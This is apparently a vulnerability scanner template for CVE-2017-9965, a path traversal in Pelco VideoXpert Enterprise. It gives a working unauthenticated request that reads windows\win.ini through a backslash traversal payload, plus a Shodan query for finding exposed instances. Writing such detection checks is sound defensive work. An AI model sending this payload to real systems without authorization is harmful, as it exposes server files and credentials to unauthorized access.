id: CVE-2017-9965

info:
  name: Schneider Electric Pelco VideoXpert Enterprise 2.0 - Path Traversal
  author: 0x_akoko
  severity: medium
  description: |
    Schneider Electric Pelco VideoXpert Enterprise versions 2.0 and prior contain a directory traversal caused by insufficient input validation, letting unauthorized persons view web server files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can view web server files and directories, potentially exposing sensitive configuration files, credentials, and system information.
  remediation: |
    Apply security updates provided by Schneider Electric or upgrade to a non-vulnerable version.
  reference:
    - https://packetstormsecurity.com/files/143317/Schneider-Electric-Pelco-VideoXpert-Core-Admin-Portal-Directory-Traversal.html
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5419.php
    - https://ics-cert.us-cert.gov/advisories/ICSA-17-355-02
    - https://www.schneider-electric.com/en/download/document/SEVD-2017-339-01/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2017-9965
    cwe-id: CWE-22
    epss-score: 0.04612
    epss-percentile: 0.90755
    cpe: cpe:2.3:a:schneider-electric:pelco_videoxpert:*:*:*:*:enterprise:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: schneider-electric
    product: pelco_videoxpert
    shodan-query: title:"VideoXpert"
  tags: cve,cve2017,schneider,pelco,packetstorm,lfi,videoxpert,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/portal//..\\\..\\\..\\\..\\\windows\win.ini'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'bit app support'
          - 'fonts'
          - 'extensions'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022076c86171c4d2b44fe1f7004d92ae1d90fbc273e357a09a7da235525930bf40c002205b6d41547e42126ace228c0927c33f34432529bb26863d1bdf23bc5cdd81a18a:922c64590222798bb761d5b6d8e72950